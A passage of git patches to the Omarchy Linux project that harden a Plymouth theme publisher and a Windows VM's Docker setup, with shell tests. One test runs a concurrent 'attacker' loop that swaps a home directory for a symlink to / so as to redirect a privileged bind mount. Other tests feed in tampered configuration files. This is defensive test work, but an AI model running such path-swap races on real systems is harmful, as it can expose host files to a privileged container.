Co-Authored-By: Codex XHigh --- test/shell.d/plymouth-set-test.sh | 27 +++++++++++++++++++++++++++ 1 file changed, 27 insertions(+) diff --git a/test/shell.d/plymouth-set-test.sh b/test/shell.d/plymouth-set-test.sh index ae146c98..77d21af3 100755 --- a/test/shell.d/plymouth-set-test.sh +++ b/test/shell.d/plymouth-set-test.sh @@ -5,6 +5,8 @@ set -uo pipefail source "$(dirname "${BASH_SOURCE[0]}")/base-test.sh" test_tmp=$(mktemp -d) +[[ -n $test_tmp && -d $test_tmp ]] || + fail "the test creates its own scratch directory before touching anything" secret="$test_tmp/secret" trap 'chmod 0600 "$secret" 2>/dev/null || true; rm -rf -- "$test_tmp"' EXIT @@ -174,6 +176,13 @@ case "$1" in code=${code/PATH=\/usr\/bin:\/bin/PATH=$TEST_ROOT_TOOLS:\/usr\/bin:\/bin} code=${code/theme_dir=\/usr\/share\/plymouth\/themes\/omarchy/theme_dir=$TEST_FAKE_ROOT\/usr\/share\/plymouth\/themes\/omarchy} code=${code/sddm_dir=\/usr\/share\/sddm\/themes\/omarchy/sddm_dir=$TEST_FAKE_ROOT\/usr\/share\/sddm\/themes\/omarchy} + + # Each rewrite above silently no-ops if the production text drifts, which + # would point this simulation at the real /usr/share. Refuse instead. + [[ $code == *"PATH=$TEST_ROOT_TOOLS:/usr/bin:/bin"* ]] || exit 94 + [[ $code == *"theme_dir=$TEST_FAKE_ROOT/usr/share/plymouth/themes/omarchy"* ]] || exit 94 + [[ $code == *"sddm_dir=$TEST_FAKE_ROOT/usr/share/sddm/themes/omarchy"* ]] || exit 94 + PATH="$TEST_ROOT_TOOLS:/usr/bin:/bin" \ /bin/bash -c "$code" "$shell_name" "$@" ;; @@ -472,6 +481,24 @@ assert_no_temporary_files "$fake_root" pass "publication rejects symlinked and non-root-writable destination parents" +# Walking the whole chain, not just the immediate parent, is what closes the +# rename race: a writable ancestor lets an attacker swap an entire validated +# directory out from under the leaf. Leave the destination itself pristine so +# only the ancestor can be at fault. +setup_run +chmod 0777 "$fake_root/usr/share/plymouth" +output=$(run_set 022 env 2>&1) +status=$? +chmod 0755 "$fake_root/usr/share/plymouth" + +(( status != 0 )) || fail "a writable destination ancestor is rejected" "$output" +[[ $(stat -c %a "$theme") == 755 ]] || fail "only the ancestor, not the destination, was untrustworthy" +[[ $(cat "$theme/bullet.png") == 'old plymouth bullet.png' ]] || fail "a writable ancestor leaves the live destination unchanged" +[[ $output == *"refusing to publish"* ]] || fail "a rejected ancestor says why it refused" "$output" +assert_no_temporary_files "$fake_root" + +pass "publication walks the whole parent chain, not only the immediate parent" + # Refresh uses the same publisher but its explicit contract includes the # packaged nested logos/oma.png asset. It must not touch the SDDM theme. setup_run From bf10b75150f7cd89d7ab42b0f56818e6a7792525 Mon Sep 17 00:00:00 2001 From: Erik Melton <798237+ErikMelton@users.noreply.github.com> Date: Sat, 29 Aug 2026 16:00:10 +0200 Subject: [PATCH 122/336] Protect the Windows VM web console --- bin/omarchy-windows-vm | 54 ++++++++++++++----- manual/28-windows-vm.md | 4 +- test/shell.d/windows-vm-compose-test.sh | 9 +++- .../shell.d/windows-vm-mount-boundary-test.sh | 12 ++++- 4 files changed, 63 insertions(+), 16 deletions(-) diff --git a/bin/omarchy-windows-vm b/bin/omarchy-windows-vm index 0676b770..f1582e2d 100755 --- a/bin/omarchy-windows-vm +++ b/bin/omarchy-windows-vm @@ -92,7 +92,7 @@ priv() { # still needs one privileged invocation. if [[ -d $VM_LOCK_DIR && ! -L $VM_LOCK_DIR && -r $VM_LOCK_DIR && -x $VM_LOCK_DIR ]] && { [[ $action != up && $action != up_wait ]] || { - ! compose_needs_mount_migration && mounts_ready >/dev/null 2>&1 + ! compose_needs_security_migration && mounts_ready >/dev/null 2>&1 } }; then with_vm_lock "__priv_$action" "$@" @@ -703,6 +703,7 @@ services: DISK_SIZE: "$disk" USERNAME: "$username" PASSWORD: "$esc_password" + PROTECT: "Y" TZ: "$tz" ARGUMENTS: "-rtc base=localtime,clock=host,driftfix=slew" devices: @@ -765,14 +766,20 @@ get_mount_source() { sed -n "s|^[[:space:]]*-[[:space:]]*\(/[^:]*\):$1\$|\1|p" "$COMPOSE_FILE" | head -n1 } -# True only for the exact pair emitted by older Omarchy releases. The result is -# used by priv() to force a one-time elevated migration for sudoless-Docker -# users; arbitrary or mixed bind sources are never classified as migratable. -compose_needs_mount_migration() { +# True only when a trusted compose has an exact security upgrade path. The +# result forces a one-time elevated migration for sudoless-Docker users. An +# arbitrary or mixed bind pair is never classified as migratable. +compose_needs_security_migration() { + local storage shared [[ -f $COMPOSE_FILE ]] || return 1 resolve_caller || return 1 [[ $(mount_source_count /storage) == 1 && $(mount_source_count /shared) == 1 ]] || return 1 - compose_mount_pair_is_migratable "$(get_mount_source /storage)" "$(get_mount_source /shared)" + storage=$(get_mount_source /storage) + shared=$(get_mount_source /shared) + if compose_mount_pair_is_migratable "$storage" "$shared"; then + return 0 + fi + [[ $storage == "$EXPECTED_STORAGE" && $shared == "$EXPECTED_SHARED" ]] && ! compose_web_protected } compose_mount_pair_is_migratable() { @@ -786,14 +793,26 @@ mount_source_count() { sed -n "s|^[[:space:]]*-[[:space:]]*\(/[^:]*\):$destination\$|x|p" "$COMPOSE_FILE" | wc -l } -rewrite_compose_mounts() { +compose_web_protected() { + [[ $(sed -n 's/^[[:space:]]*PROTECT:.*$/x/p' "$COMPOSE_FILE" | wc -l) == 1 && + $(sed -n 's/^[[:space:]]*PROTECT:[[:space:]]*"Y"[[:space:]]*$/x/p' "$COMPOSE_FILE" | wc -l) == 1 ]] +} + +rewrite_compose_security() { local tmp tmp=$(mktemp "$RUNTIME_DIR/.compose.XXXXXX") || return 1 awk -v storage="$EXPECTED_STORAGE" -v shared="$EXPECTED_SHARED" ' + /^ environment:$/ { print; print " PROTECT: \"Y\""; next } + /^[[:space:]]+PROTECT:/ { next } /^[[:space:]]*-[[:space:]]*\/[^:]*:\/storage$/ { print " - " storage ":/storage"; next } /^[[:space:]]*-[[:space:]]*\/[^:]*:\/shared$/ { print " - " shared ":/shared"; next } { print } ' "$COMPOSE_FILE" >"$tmp" || { rm -f "$tmp"; return 1; } + [[ $(sed -n 's/^[[:space:]]*PROTECT:.*$/x/p' "$tmp" | wc -l) == 1 && + $(sed -n 's/^[[:space:]]*PROTECT:[[:space:]]*"Y"[[:space:]]*$/x/p' "$tmp" | wc -l) == 1 ]] || { + rm -f "$tmp" + return 1 + } chmod 0640 "$tmp" || { rm -f "$tmp"; return 1; } if ((EUID == 0)); then chown root:docker "$tmp" 2>/dev/null || chown root:root "$tmp" || { @@ -814,7 +833,7 @@ assert_compose_trusted() { } assert_mounts_safe() { - local storage shared + local storage shared needs_rewrite=0 mounts_prepared=0 resolve_caller || return 1 assert_compose_trusted || { echo "omarchy-windows-vm: refusing an untrusted compose file" >&2 @@ -834,10 +853,8 @@ assert_mounts_safe() { return 1 } prepare_caller_mounts || return 1 - if ! rewrite_compose_mounts; then - rollback_new_caller_mounts || true - return 1 - fi + mounts_prepared=1 + needs_rewrite=1 storage=$EXPECTED_STORAGE shared=$EXPECTED_SHARED fi @@ -847,6 +864,19 @@ assert_mounts_safe() { return 1 } + if ! compose_web_protected; then + ((EUID == 0)) || { + echo "omarchy-windows-vm: web-console protection needs an authorized migration" >&2 + return 1 + } + needs_rewrite=1 + fi + + if ((needs_rewrite)) && ! rewrite_compose_security; then + if ((mounts_prepared)); then rollback_new_caller_mounts || true; fi + return 1 + fi + # Mounts disappear at reboot. Root recreates them from the already-opened, # caller-owned sources; a docker-group invocation may proceed directly only # while the exact pinned pair is still present. diff --git a/manual/28-windows-vm.md b/manual/28-windows-vm.md index 29946466..0551b23f 100644 --- a/manual/28-windows-vm.md +++ b/manual/28-windows-vm.md @@ -4,7 +4,7 @@ Omarchy offers an easy way to run Windows through a Docker VM. You can install i Your machine needs KVM virtualization for this, which most do — but it's sometimes switched off in the BIOS, and the installer will tell you if that's the case. You'll also want the disk space: whatever you give Windows, plus about 10GB for the image itself. -The installer asks how much RAM, how many CPU cores, and how much disk to hand over (64GB or more is the sensible floor), then for a Windows username and password. Leave those blank and you get `docker` / `admin`. The download takes a while — 10-15 minutes is normal — and you can follow the progress in the browser at `http://127.0.0.1:8006`. +The installer asks how much RAM, how many CPU cores, and how much disk to hand over (64GB or more is the sensible floor), then for a Windows username and password. Leave those blank and you get `docker` / `admin`. The download takes a while — 10-15 minutes is normal — and you can follow the progress in the browser at `http://127.0.0.1:8006`. The browser prompts for the same username and password before opening the console. ![windows-vm](images/windows-vm.webp) @@ -34,7 +34,7 @@ Keep the disk and shared paths as separate, non-overlapping directories. Removal Before the VM starts, Omarchy opens and pins those two directories, then bind-mounts the exact directory inodes onto private per-user anchors below `/var/lib/omarchy/windows/mounts`. Docker only sees those root-protected anchors. This preserves custom disk locations while preventing another process running as you from swapping a checked path before the privileged container consumes it. Existing disk and shared directories are tightened to mode `0700` during migration so other local accounts cannot browse their contents. -The VM's ports are bound to localhost only, so nothing on your network can reach the Windows machine. +The VM's ports are bound to localhost only, so nothing on your network can reach the Windows machine. The web console also requires the configured Windows username and password, preventing another local account from driving the VM through port 8006. ## Limits and licensing diff --git a/test/shell.d/windows-vm-compose-test.sh b/test/shell.d/windows-vm-compose-test.sh index 0495e1e0..64825526 100644 --- a/test/shell.d/windows-vm-compose-test.sh +++ b/test/shell.d/windows-vm-compose-test.sh @@ -61,6 +61,7 @@ grep -q 'image: dockurr/windows' "$COMPOSE" || fail "image is pinned" grep -q -- '- NET_ADMIN' "$COMPOSE" || fail "cap_add is pinned" grep -q -- "- $EXPECTED_STORAGE:/storage" "$COMPOSE" || fail "storage uses the protected anchor" grep -q -- "- $EXPECTED_SHARED:/shared" "$COMPOSE" || fail "shared uses the protected anchor" +grep -q 'PROTECT: "Y"' "$COMPOSE" || fail "web console is not password protected" [[ ! -L $HOME/.windows && ! -L $HOME/Windows ]] || fail "fresh sources stay real directories" [[ $(stat -Lc '%d:%i' "$HOME/.windows") == $(stat -Lc '%d:%i' "$EXPECTED_STORAGE") ]] || fail "storage bind did not pin source" [[ $(stat -Lc '%d:%i' "$HOME/Windows") == $(stat -Lc '%d:%i' "$EXPECTED_SHARED") ]] || fail "shared bind did not pin source" @@ -150,10 +151,16 @@ sed -i "s|/etc:/shared|$EXPECTED_SHARED:/shared|" "$COMPOSE" printf ' - %s:/storage\n' "$EXPECTED_STORAGE" >>"$COMPOSE" assert_mounts_safe 2>/dev/null && fail "duplicate destination accepted" write 16G 6 128G legacyuser legacypass America/New_York +sed -i 's/PROTECT: "Y"/PROTECT: "N"/' "$COMPOSE" +assert_mounts_safe 2>/dev/null && fail "unprotected web console accepted" +sed -i 's/PROTECT: "N"/PROTECT: "Y"/' "$COMPOSE" +printf ' PROTECT: "N"\n' >>"$COMPOSE" +assert_mounts_safe 2>/dev/null && fail "duplicate web protection setting accepted" +sed -i '$d' "$COMPOSE" chmod 0666 "$COMPOSE" assert_mounts_safe 2>/dev/null && fail "writable compose accepted" chmod 0640 "$COMPOSE" -pass "bring-up rejects tampered, duplicate, and writable compose inputs" +pass "bring-up rejects tampered, duplicate, unprotected, and writable compose inputs" # Both sources are pinned before a bind; bad symlinks stay untouched. reset_case diff --git a/test/shell.d/windows-vm-mount-boundary-test.sh b/test/shell.d/windows-vm-mount-boundary-test.sh index a49e5652..34f36cc2 100644 --- a/test/shell.d/windows-vm-mount-boundary-test.sh +++ b/test/shell.d/windows-vm-mount-boundary-test.sh @@ -156,13 +156,23 @@ pass "root writer and final pre-Docker guard revalidate the pinned production mo # moving or replacing either familiar home symlink. sed -i "s|$EXPECTED_STORAGE:/storage|$OLD_EXPECTED_STORAGE:/storage|" "$COMPOSE_FILE" sed -i "s|$EXPECTED_SHARED:/shared|$OLD_EXPECTED_SHARED:/shared|" "$COMPOSE_FILE" -compose_needs_mount_migration || fail "previous protected anchor pair was not recognized for upgrade" +sed -i '/PROTECT: "Y"/d' "$COMPOSE_FILE" +compose_needs_security_migration || fail "previous protected compose was not recognized for upgrade" with_vm_lock assert_mounts_safe || fail "root could not upgrade previous protected anchors" grep -q -- "- $EXPECTED_STORAGE:/storage" "$COMPOSE_FILE" || fail "upgrade did not rewrite storage anchor" grep -q -- "- $EXPECTED_SHARED:/shared" "$COMPOSE_FILE" || fail "upgrade did not rewrite shared anchor" +grep -q 'PROTECT: "Y"' "$COMPOSE_FILE" || fail "upgrade did not protect the web console" [[ $(readlink /home/alice/.windows) == /home/storage-target ]] || fail "protected-anchor upgrade replaced home storage link" pass "previous sibling-anchor installs upgrade in place to the fixed /var/lib boundary" +# A compose that already uses the fixed anchors still needs an authorized +# upgrade when it predates web-console authentication. +sed -i '/PROTECT: "Y"/d' "$COMPOSE_FILE" +compose_needs_security_migration || fail "unprotected fixed-anchor compose was not recognized for upgrade" +with_vm_lock assert_mounts_safe || fail "root could not protect an existing fixed-anchor compose" +grep -q 'PROTECT: "Y"' "$COMPOSE_FILE" || fail "fixed-anchor upgrade did not protect the web console" +pass "existing fixed-anchor compose gains web-console authentication" + # Preflight both sources before either bind on a clean anchor pair. umount "$EXPECTED_SHARED" umount "$EXPECTED_STORAGE" From 11fa6b9809094e347e47a67d9c0962aa4b37e3b9 Mon Sep 17 00:00:00 2001 From: Erik Melton <798237+ErikMelton@users.noreply.github.com> Date: Sat, 29 Aug 2026 16:02:38 +0200 Subject: [PATCH 123/336] Race Windows VM mount sources concurrently --- test/shell.d/windows-vm-compose-test.sh | 59 +++++++++++++++++++++++++ 1 file changed, 59 insertions(+) diff --git a/test/shell.d/windows-vm-compose-test.sh b/test/shell.d/windows-vm-compose-test.sh index 64825526..189536f4 100644 --- a/test/shell.d/windows-vm-compose-test.sh +++ b/test/shell.d/windows-vm-compose-test.sh @@ -213,6 +213,65 @@ mv -T -- "$raced_shared" "$HOME/Windows" unset -f dc pass "a post-validation path swap cannot redirect Docker away from the pinned shared inode" +# Run the same attack as a genuinely concurrent process. A successful bring-up +# deliberately waits inside the Docker boundary until the attacker has replaced +# the familiar path with /, then verifies that the real bind anchor still names +# the caller-owned directory that was pinned before the race. +reset_case +prepare_user_mount_sources +touch "$HOME/Windows/safe-marker" +write 4G 2 64G concurrent pw UTC +resolve_caller +concurrent_shared_id=$(stat -Lc '%d:%i' "$HOME/Windows") +host_root_id=$(stat -Lc '%d:%i' /) +race_source="$HOME/Windows.race-source" +race_stop="$TMPDIR/stop-concurrent-race" +race_swaps="$TMPDIR/concurrent-race-swaps" +( + set +e + while [[ ! -e $race_stop ]]; do + if [[ -d $HOME/Windows && ! -L $HOME/Windows ]] && mv -T -- "$HOME/Windows" "$race_source" 2>/dev/null; then + ln -s / "$HOME/Windows" 2>/dev/null || true + printf x >>"$race_swaps" + sleep 0.002 + fi + if [[ -L $HOME/Windows ]]; then + rm -f -- "$HOME/Windows" + mv -T -- "$race_source" "$HOME/Windows" 2>/dev/null || true + sleep 0.005 + fi + done +) & +racer_pid=$! +concurrent_dc_calls=0 +dc() { + local attempt + [[ $1 == up && ${2:-} == -d ]] || return 1 + for ((attempt = 0; attempt < 20000; attempt++)); do + if [[ -L $HOME/Windows && $(readlink "$HOME/Windows" 2>/dev/null) == / ]]; then + break + fi + done + [[ -L $HOME/Windows && $(readlink "$HOME/Windows" 2>/dev/null) == / ]] || return 1 + ((concurrent_dc_calls++)) + [[ $(get_mount_source /shared) == "$EXPECTED_SHARED" ]] || return 1 + [[ $(stat -Lc '%d:%i' "$EXPECTED_SHARED") == "$concurrent_shared_id" ]] || return 1 + [[ $(stat -Lc '%d:%i' "$EXPECTED_SHARED") != "$host_root_id" ]] || return 1 + [[ -f $EXPECTED_SHARED/safe-marker ]] +} +for ((attempt = 0; attempt < 200; attempt++)); do + if __priv_up 2>/dev/null; then break; fi +done +touch "$race_stop" +wait "$racer_pid" +unset -f dc +if [[ -L $HOME/Windows ]]; then rm -f -- "$HOME/Windows"; fi +if [[ ! -e $HOME/Windows && -d $race_source ]]; then mv -T -- "$race_source" "$HOME/Windows"; fi +[[ -s $race_swaps ]] || fail "concurrent attacker never swapped the shared path" +((concurrent_dc_calls > 0)) || fail "concurrent race never reached Docker while the familiar path named host root" +[[ $(stat -Lc '%d:%i' "$EXPECTED_SHARED") == "$concurrent_shared_id" ]] || fail "concurrent race changed the protected shared inode" +pass "a concurrent home-path swap cannot redirect Docker away from the pinned shared inode" + # Same-inode sources fail before mounting and close both descriptors. reset_case same="$TMPDIR/same-source" From 363db1f569a9017acca3619b0a6e22757c77696a Mon Sep 17 00:00:00 2001 From: Erik Melton Date: Sat, 29 Aug 2026 16:19:31 +0200 Subject: [PATCH 124/336] Keep Plymouth publishing working in dev mode --- bin/omarchy-plymouth-set | 96 +++++++++++++++++++++---------- test/shell.d/plymouth-set-test.sh | 47 ++++++++++++--- 2 files changed, 107 insertions(+), 36 deletions(-) diff --git a/bin/omarchy-plymouth-set b/bin/omarchy-plymouth-set index 51d37e45..f4c9b792 100755 --- a/bin/omarchy-plymouth-set +++ b/bin/omarchy-plymouth-set @@ -76,6 +76,9 @@ run_root_transaction() { [[ -z $failure_reported ]] || return 0 failure_reported=1 printf "omarchy-plymouth-set: refusing to publish: %s failed validation\n" "$failure_context" >&2 + if [[ -n ${failure_hint:-} ]]; then + printf "omarchy-plymouth-set: %s\n" "$failure_hint" >&2 + fi } trap report_failure ERR @@ -95,14 +98,65 @@ run_root_transaction() { canonical_source_root=$(realpath -e -- "$source_root") [[ $canonical_source_root == "$source_root" ]] - # The one refusal a healthy machine can hit: omarchy dev link points - # OMARCHY_PATH at a checkout the desktop user can rewrite, and executable - # boot assets cannot come from there. Say so rather than failing mute. + validate_trusted_directory() { + local directory=$1 canonical uid directory_mode + + failure_context="directory $directory" + canonical=$(realpath -e -- "$directory") + [[ $canonical == "$directory" && -d $directory && ! -L $directory ]] + + while :; do + failure_context="directory $directory (must be root-owned and not group- or world-writable)" + uid=$(stat -c %u -- "$directory") + directory_mode=$(stat -c %a -- "$directory") + (( uid == 0 )) + (( (8#$directory_mode & 0022) == 0 )) + [[ $directory == "/" ]] && break + directory=${directory%/*} + [[ -n $directory ]] || directory=/ + done + } + + validate_trusted_configuration_file() { + local configuration=$1 canonical uid configuration_mode size + + failure_context="root configuration $configuration" + [[ -f $configuration && ! -L $configuration ]] + canonical=$(realpath -e -- "$configuration") + [[ $canonical == "$configuration" ]] + validate_trusted_directory "${configuration%/*}" + uid=$(stat -c %u -- "$configuration") + configuration_mode=$(stat -c %a -- "$configuration") + size=$(stat -c %s -- "$configuration") + (( uid == 0 )) + (( (8#$configuration_mode & 0022) == 0 )) + (( size > 0 && size <= 4096 )) + } + + # A packaged tree must be root-owned. A development checkout is the one + # deliberate exception: omarchy dev link records its canonical path in a + # root-owned /etc/omarchy.conf. That is already an explicit decision to run + # privileged Omarchy commands from user-editable code in the checkout, so + # reading its packaged assets does not widen the development trust boundary. + development_source=false source_root_uid=$(stat -c %u -- "$source_root") if (( source_root_uid != 0 )); then - printf "omarchy-plymouth-set: %s is not root-owned, so it cannot supply executable boot assets.\n" "$source_root" >&2 - printf "omarchy-plymouth-set: this is expected on a development checkout; run omarchy dev unlink to publish from /usr/share/omarchy.\n" >&2 - exit 1 + omarchy_conf=/etc/omarchy.conf + failure_context="$source_root is user-owned and $omarchy_conf must contain its trusted dev-link authorization; run omarchy dev link to authorize it" + failure_hint="$source_root is user-owned; run omarchy dev link to authorize this development checkout, or omarchy dev unlink to use the packaged tree" + validate_trusted_configuration_file "$omarchy_conf" + + quoted_source_root=$source_root + quoted_source_root=${quoted_source_root//\\/\\\\} + quoted_source_root=${quoted_source_root//\"/\\\"} + quoted_source_root=${quoted_source_root//\$/\\\$} + quoted_source_root=${quoted_source_root//\`/\\\`} + expected_config_line="export OMARCHY_PATH=\"$quoted_source_root\"" + mapfile -t omarchy_config_lines <"$omarchy_conf" + (( ${#omarchy_config_lines[@]} == 1 )) + [[ ${omarchy_config_lines[0]} == "$expected_config_line" ]] + development_source=true + failure_hint= fi if [[ $mode == "set" ]]; then @@ -126,25 +180,6 @@ run_root_transaction() { plymouth_default_assets=("${plymouth_theme_assets[@]}" logos/oma.png) sddm_theme_assets=(Main.qml bullet.png entry-failed.png entry.png lock-failed.png lock.png logo.png) - validate_trusted_directory() { - local directory=$1 canonical uid directory_mode - - failure_context="directory $directory" - canonical=$(realpath -e -- "$directory") - [[ $canonical == "$directory" && -d $directory && ! -L $directory ]] - - while :; do - failure_context="directory $directory (must be root-owned and not group- or world-writable)" - uid=$(stat -c %u -- "$directory") - directory_mode=$(stat -c %a -- "$directory") - (( uid == 0 )) - (( (8#$directory_mode & 0022) == 0 )) - [[ $directory == "/" ]] && break - directory=${directory%/*} - [[ -n $directory ]] || directory=/ - done - } - validate_trusted_file() { local source=$1 canonical uid file_mode size @@ -152,13 +187,16 @@ run_root_transaction() { [[ -f $source && ! -L $source ]] canonical=$(realpath -e -- "$source") [[ $canonical == "$source" ]] - validate_trusted_directory "${source%/*}" - uid=$(stat -c %u -- "$source") file_mode=$(stat -c %a -- "$source") size=$(stat -c %s -- "$source") - (( uid == 0 )) - (( (8#$file_mode & 0022) == 0 )) (( size > 0 && size <= max_asset_size )) + + if ! $development_source; then + validate_trusted_directory "${source%/*}" + uid=$(stat -c %u -- "$source") + (( uid == 0 )) + (( (8#$file_mode & 0022) == 0 )) + fi } copy_trusted_file() { diff --git a/test/shell.d/plymouth-set-test.sh b/test/shell.d/plymouth-set-test.sh index 77d21af3..8a40cbf7 100755 --- a/test/shell.d/plymouth-set-test.sh +++ b/test/shell.d/plymouth-set-test.sh @@ -174,12 +174,14 @@ case "$1" in # simulation only, substitute trusted tools and map fixed system destinations # under the disposable fake root. code=${code/PATH=\/usr\/bin:\/bin/PATH=$TEST_ROOT_TOOLS:\/usr\/bin:\/bin} + code=${code/omarchy_conf=\/etc\/omarchy.conf/omarchy_conf=$TEST_OMARCHY_CONF} code=${code/theme_dir=\/usr\/share\/plymouth\/themes\/omarchy/theme_dir=$TEST_FAKE_ROOT\/usr\/share\/plymouth\/themes\/omarchy} code=${code/sddm_dir=\/usr\/share\/sddm\/themes\/omarchy/sddm_dir=$TEST_FAKE_ROOT\/usr\/share\/sddm\/themes\/omarchy} # Each rewrite above silently no-ops if the production text drifts, which # would point this simulation at the real /usr/share. Refuse instead. [[ $code == *"PATH=$TEST_ROOT_TOOLS:/usr/bin:/bin"* ]] || exit 94 + [[ $code == *"omarchy_conf=$TEST_OMARCHY_CONF"* ]] || exit 94 [[ $code == *"theme_dir=$TEST_FAKE_ROOT/usr/share/plymouth/themes/omarchy"* ]] || exit 94 [[ $code == *"sddm_dir=$TEST_FAKE_ROOT/usr/share/sddm/themes/omarchy"* ]] || exit 94 @@ -243,6 +245,7 @@ setup_run() { fake_root="$run_dir/root" sudo_log="$run_dir/sudo.log" leak_log="$run_dir/leaked-stage-path.log" + omarchy_conf="$run_dir/omarchy.conf" theme="$fake_root/usr/share/plymouth/themes/omarchy" sddm="$fake_root/usr/share/sddm/themes/omarchy" @@ -295,6 +298,7 @@ run_set_colors() { TEST_FAKE_ROOT="$fake_root" \ TEST_STAGES="$stages" \ TEST_ROOT_TOOLS="$root_tools" \ + TEST_OMARCHY_CONF="$omarchy_conf" \ TEST_SUDO_LOG="$sudo_log" \ TEST_LEAK_LOG="$leak_log" \ "$@" \ @@ -442,21 +446,49 @@ assert_no_temporary_files "$fake_root" pass "root rejects packaged assets that a desktop process could rewrite" -# omarchy dev link points OMARCHY_PATH at a checkout the desktop user owns, so -# this refusal fires on a working machine, not only under attack. Every check in -# the privileged transaction is a bare assertion that aborts under set -e, so -# without a diagnostic the whole Plymouth menu would just close in silence. +# A random user-owned OMARCHY_PATH remains untrusted. Only the exact canonical +# checkout recorded by root in /etc/omarchy.conf is the supported dev-link +# exception; an unrelated or stale authorization must not weaken the check. setup_run output=$(run_set 022 env TEST_UNTRUSTED_SOURCE="$ROOT" 2>&1) status=$? (( status != 0 )) || fail "a user-owned OMARCHY_PATH is rejected" -[[ $output == *"is not root-owned"* ]] || fail "the refusal names the untrusted source tree" "$output" -[[ $output == *"omarchy dev unlink"* ]] || fail "the refusal names the way back to a trusted tree" "$output" +[[ $output == *"user-owned"* ]] || fail "the refusal names the untrusted source tree" "$output" +[[ $output == *"omarchy dev link"* ]] || fail "the refusal names how to authorize a development checkout" "$output" [[ $(cat "$theme/bullet.png") == 'old plymouth bullet.png' ]] || fail "a user-owned OMARCHY_PATH leaves the live theme unchanged" assert_no_temporary_files "$fake_root" -pass "a development checkout is refused with an explanation instead of in silence" +setup_run +printf 'export OMARCHY_PATH="/some/other/checkout"\n' >"$omarchy_conf" +chmod 0644 "$omarchy_conf" +output=$(run_set 022 env TEST_UNTRUSTED_SOURCE="$ROOT" 2>&1) +status=$? + +(( status != 0 )) || fail "a stale dev-link authorization is rejected" +[[ $(cat "$theme/bullet.png") == 'old plymouth bullet.png' ]] || fail "a stale dev-link authorization leaves the live theme unchanged" +assert_no_temporary_files "$fake_root" + +setup_run +printf 'export OMARCHY_PATH="%s"\n' "$ROOT" >"$omarchy_conf" +chmod 0666 "$omarchy_conf" +output=$(run_set 022 env TEST_UNTRUSTED_SOURCE="$ROOT" 2>&1) +status=$? + +(( status != 0 )) || fail "a writable dev-link authorization is rejected" +[[ $(cat "$theme/bullet.png") == 'old plymouth bullet.png' ]] || fail "a writable dev-link authorization leaves the live theme unchanged" +assert_no_temporary_files "$fake_root" + +setup_run +printf 'export OMARCHY_PATH="%s"\n' "$ROOT" >"$omarchy_conf" +chmod 0644 "$omarchy_conf" +output=$(run_set 022 env TEST_UNTRUSTED_SOURCE="$ROOT" 2>&1) +status=$? + +(( status == 0 )) || fail "the root-authorized development checkout can publish Plymouth assets" "$output" +cmp -s "$ROOT/default/plymouth/bullet.png" "$theme/bullet.png" || fail "the authorized development checkout supplies the packaged assets" + +pass "only the checkout explicitly authorized by omarchy dev link may be user-owned" # Root rejects both a symlinked parent and a group/world-writable parent before # it creates a temporary file or touches the live destination. @@ -509,6 +541,7 @@ output=$( TEST_FAKE_ROOT="$fake_root" \ TEST_STAGES="$stages" \ TEST_ROOT_TOOLS="$root_tools" \ + TEST_OMARCHY_CONF="$omarchy_conf" \ TEST_SUDO_LOG="$sudo_log" \ TEST_LEAK_LOG="$leak_log" \ /bin/bash "$ROOT/bin/omarchy-refresh-plymouth" 2>&1 From eb76684c60331905870cb231dff4cf3b8d2eb5d6 Mon Sep 17 00:00:00 2001 From: David Heinemeier Hansson Date: Sat, 29 Aug 2026 17:13:06 +0200 Subject: [PATCH 125/336] Retrofit the Chromium first-run EULA opt-out onto existing installs Chromium 151 flipped MasterPrefs::eula_required from false to true, so a first run with no seed now stops on a blank terms-of-service dialog before the browser opens. The opt-out is written in two places that each run exactly once: the install leaf that runs during ISO finalization, and the one-time 3.x upgrade. A machine already on Quattro runs neither again, so it keeps the old seed and still meets the dialog the first time anyone launches Chromium, including from every user account created after the install. The migration writes the same seed those two paths write. It compares before writing so the second user on a shared machine no-ops rather than repeating a machine-wide repair, and the literal is duplicated rather than sourced because a migration repairs the state of its own moment and must not drift when the seed later changes. Co-Authored-By: Codex XHigh --- migrations/1787691200.sh | 18 ++++++++++++++++++ 1 file changed, 18 insertions(+) create mode 100644 migrations/1787691200.sh diff --git a/migrations/1787691200.sh b/migrations/1787691200.sh new file mode 100644 index 00000000..71c163e5 --- /dev/null +++ b/migrations/1787691200.sh @@ -0,0 +1,18 @@ +echo "Skip Chromium's new first-run EULA on machines already on Quattro" + +# Chromium 151 flipped MasterPrefs::eula_required from false to true, so an +# unconfigured first run now stops on a blank terms-of-service dialog before the +# browser opens. Omarchy answers that in the seed it writes next to the Chromium +# binary, but that seed is only laid down by a fresh install and by the one-time +# 3.x upgrade, so machines already on Quattro never receive it. Retrofit it here. +# +# The literal is deliberately duplicated rather than sourced: a migration repairs +# the state of its own moment, and must not drift when the seed later changes. + +chromium_prefs="/usr/lib/chromium/initial_preferences" +chromium_seed='{"distribution":{"require_eula":false},"browser":{"theme":{"color_scheme":0,"color_scheme2":0}}}' + +if [[ $(cat "$chromium_prefs" 2>/dev/null) != "$chromium_seed" ]]; then + sudo mkdir -p "$(dirname "$chromium_prefs")" + echo "$chromium_seed" | sudo tee "$chromium_prefs" >/dev/null +fi From e9ba17e52ee6c2904289ad4e5a76f588ce0dd662 Mon Sep 17 00:00:00 2001 From: David Heinemeier Hansson Date: Sat, 29 Aug 2026 17:13:06 +0200 Subject: [PATCH 126/336] Keep the explanation for the Chromium color scheme defaults The comment above the seed was the only thing recording that color_scheme and color_scheme2 are both zero in order to follow system appearance rather than force dark. Generalizing it to "first-run defaults" left two magic numbers with nothing to explain them, so the next person touching an unrelated first-run setting has no way to tell that changing them regresses theme following. Name both things the seed does. Co-Authored-By: Codex XHigh --- install/config/theme-system.sh | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/install/config/theme-system.sh b/install/config/theme-system.sh index c8272486..a8963439 100644 --- a/install/config/theme-system.sh +++ b/install/config/theme-system.sh @@ -10,7 +10,8 @@ gtk-update-icon-cache /usr/share/icons/Yaru &>/dev/null || true mkdir -p /etc/chromium/policies/managed chmod a+rw /etc/chromium/policies/managed -# Set Chromium first-run defaults +# Seed Chromium's first run: follow system appearance ("device") instead of dark, +# and skip the terms-of-service dialog Chromium 151 turned on by default. mkdir -p /usr/lib/chromium echo '{"distribution":{"require_eula":false},"browser":{"theme":{"color_scheme":0,"color_scheme2":0}}}' > \ /usr/lib/chromium/initial_preferences From 24c18df5b7edbfdc32a88e52aebb893b93fa2ecd Mon Sep 17 00:00:00 2001 From: David Heinemeier Hansson Date: Sat, 29 Aug 2026 15:48:28 